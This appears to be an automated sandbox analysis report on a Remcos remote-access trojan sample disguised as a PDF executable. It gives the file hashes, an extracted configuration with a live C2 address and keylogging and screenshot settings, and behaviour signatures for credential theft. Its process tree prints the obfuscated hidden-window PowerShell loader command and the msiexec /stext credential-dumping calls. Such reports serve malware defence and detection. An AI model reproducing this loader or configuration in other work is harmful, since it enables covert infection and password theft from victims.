Analysis

  • max time kernel
    299s
  • max time network
    305s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 23:09

General

  • Target

    430010782.pdf.exe

  • Size

    759KB

  • MD5

    74c8f736d425b1bd2027c2b5b144e188

  • SHA1

    76f160d6c55611b99dcd10f85889957cb867990a

  • SHA256

    293ebd610b0542289ffe9a52cab2c2a434dcff94918045a5ed1497deaee5eb87

  • SHA512

    c859f5d689b168a72db6fc7fec5ed3c2a95cbd51402f0128b5370ec0cd41d73e02f90e3b27b85b8d76c5c0140bd9a6d9341d2422673baa52a5138ff689596162

  • SSDEEP

    12288:0GCX77iIc2b3mMhkApKwjVim+PMpa3oGk6Rcs93tRLPHj6XOahG:qr75cY2vFikV/oGtR193tJPDUOr

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

87.120.116.187:56

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-GC7VQU

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\430010782.pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\430010782.pdf.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Ekstremumspunktet32=gc -raw 'C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Kbmand.Too';$byelaws=$Ekstremumspunktet32.SubString(71187,3);.$byelaws($Ekstremumspunktet32) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\oisaiofwfjtcgkasgzzrirtdzbl"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1524
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkytjgpxtrlgjqwwxjmttwouiidbbo"
          4⤵
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:1872
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\beddkzarhzdttwkaguymwjbkqwmkczjwn"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1548

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_karc1zih.m05.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsc8C43.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    01e76fe9d2033606a48d4816bd9c2d9d

    SHA1

    e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2

    SHA256

    ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70

    SHA512

    62ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0

  • C:\Users\Admin\AppData\Local\Temp\oisaiofwfjtcgkasgzzrirtdzbl

    Filesize

    4KB

    MD5

    60a0bdc1cf495566ff810105d728af4a

    SHA1

    243403c535f37a1f3d5f307fc3fb8bdd5cbcf6e6

    SHA256

    fd12da9f9b031f9fa742fa73bbb2c9265f84f49069b7c503e512427b93bce6d2

    SHA512

    4445f214dbf5a01d703f22a848b56866f3f37b399de503f99d40448dc86459bf49d1fa487231f23c080a559017d72bcd9f6c13562e1f0bd53c1c9a89e73306a5

  • C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Kbmand.Too

    Filesize

    69KB

    MD5

    fe436db316fbc26e45e0e549ef823194

    SHA1

    a6167e8edaba364577375393344d64d7d29e5455

    SHA256

    fd88a6b7f747f43380875af5fa4ef6b735afd1c52d0a75d1e14513fca9f26ad4

    SHA512

    05e48c88be028ffa2724ec129df3b9b2125f4b07ae50a9b8f6010443c94489bdc8fbc533dcabf40d9afd1b8e0cad95faa2c94c10e703c0c63e43adaae5bf3868

  • C:\Users\Admin\AppData\Local\neoimpressionism\Arbejdsbesparelsernes40\Realist.Age

    Filesize

    319KB

    MD5

    55ac96f564dc8f6b82fa7e240d6eee3a

    SHA1

    6b141e40fb89357ddf8f54dff918689c21883f0d

    SHA256

    843565dd040bb35626b2c30eedd8928efa98fa4c221ac6da35a350f35faf270a

    SHA512

    2a41085ccf49e8e7c8659d2d211042628bc22946f3ea969ac5cd1c5cd089b663c48ceadc7cbd08f5c2df736f4a2be10f96b6b968988ca92db892ef65a8b124df

  • memory/1524-89-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1524-94-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1524-97-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1524-91-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1548-95-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1548-98-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1548-102-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1872-90-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1872-92-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1872-96-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/4468-63-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-20-0x00000000051D0000-0x0000000005236000-memory.dmp

    Filesize

    408KB

  • memory/4468-29-0x0000000006E10000-0x0000000006EA6000-memory.dmp

    Filesize

    600KB

  • memory/4468-31-0x00000000063D0000-0x00000000063F2000-memory.dmp

    Filesize

    136KB

  • memory/4468-30-0x0000000006380000-0x000000000639A000-memory.dmp

    Filesize

    104KB

  • memory/4468-32-0x00000000074B0000-0x0000000007A54000-memory.dmp

    Filesize

    5.6MB

  • memory/4468-34-0x00000000080E0000-0x000000000875A000-memory.dmp

    Filesize

    6.5MB

  • memory/4468-37-0x00000000703E0000-0x000000007042C000-memory.dmp

    Filesize

    304KB

  • memory/4468-36-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-35-0x0000000007260000-0x0000000007292000-memory.dmp

    Filesize

    200KB

  • memory/4468-47-0x00000000072A0000-0x00000000072BE000-memory.dmp

    Filesize

    120KB

  • memory/4468-48-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-49-0x00000000072D0000-0x0000000007373000-memory.dmp

    Filesize

    652KB

  • memory/4468-50-0x00000000073D0000-0x00000000073DA000-memory.dmp

    Filesize

    40KB

  • memory/4468-51-0x00000000073F0000-0x0000000007401000-memory.dmp

    Filesize

    68KB

  • memory/4468-52-0x0000000007440000-0x000000000744E000-memory.dmp

    Filesize

    56KB

  • memory/4468-53-0x0000000007450000-0x0000000007464000-memory.dmp

    Filesize

    80KB

  • memory/4468-54-0x0000000007490000-0x00000000074AA000-memory.dmp

    Filesize

    104KB

  • memory/4468-55-0x0000000007480000-0x0000000007488000-memory.dmp

    Filesize

    32KB

  • memory/4468-56-0x0000000007BD0000-0x0000000007BFA000-memory.dmp

    Filesize

    168KB

  • memory/4468-57-0x0000000007C00000-0x0000000007C24000-memory.dmp

    Filesize

    144KB

  • memory/4468-58-0x0000000073F5E000-0x0000000073F5F000-memory.dmp

    Filesize

    4KB

  • memory/4468-59-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-60-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-62-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-27-0x0000000005E50000-0x0000000005E6E000-memory.dmp

    Filesize

    120KB

  • memory/4468-65-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-66-0x0000000008760000-0x0000000009EF3000-memory.dmp

    Filesize

    23.6MB

  • memory/4468-67-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-68-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-70-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-26-0x0000000005A50000-0x0000000005DA4000-memory.dmp

    Filesize

    3.3MB

  • memory/4468-21-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-28-0x0000000005E90000-0x0000000005EDC000-memory.dmp

    Filesize

    304KB

  • memory/4468-14-0x0000000004F30000-0x0000000004F96000-memory.dmp

    Filesize

    408KB

  • memory/4468-13-0x0000000004E90000-0x0000000004EB2000-memory.dmp

    Filesize

    136KB

  • memory/4468-12-0x0000000005320000-0x0000000005948000-memory.dmp

    Filesize

    6.2MB

  • memory/4468-11-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-10-0x0000000000C80000-0x0000000000CB6000-memory.dmp

    Filesize

    216KB

  • memory/4468-71-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/4468-9-0x0000000073F5E000-0x0000000073F5F000-memory.dmp

    Filesize

    4KB

  • memory/4816-118-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-106-0x000000001FCB0000-0x000000001FCC9000-memory.dmp

    Filesize

    100KB

  • memory/4816-119-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-120-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-110-0x000000001FCB0000-0x000000001FCC9000-memory.dmp

    Filesize

    100KB

  • memory/4816-111-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-112-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-113-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-114-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-115-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-116-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-117-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-137-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-84-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-109-0x000000001FCB0000-0x000000001FCC9000-memory.dmp

    Filesize

    100KB

  • memory/4816-121-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-122-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-123-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-124-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-125-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-132-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-133-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-134-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-135-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-136-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB

  • memory/4816-103-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB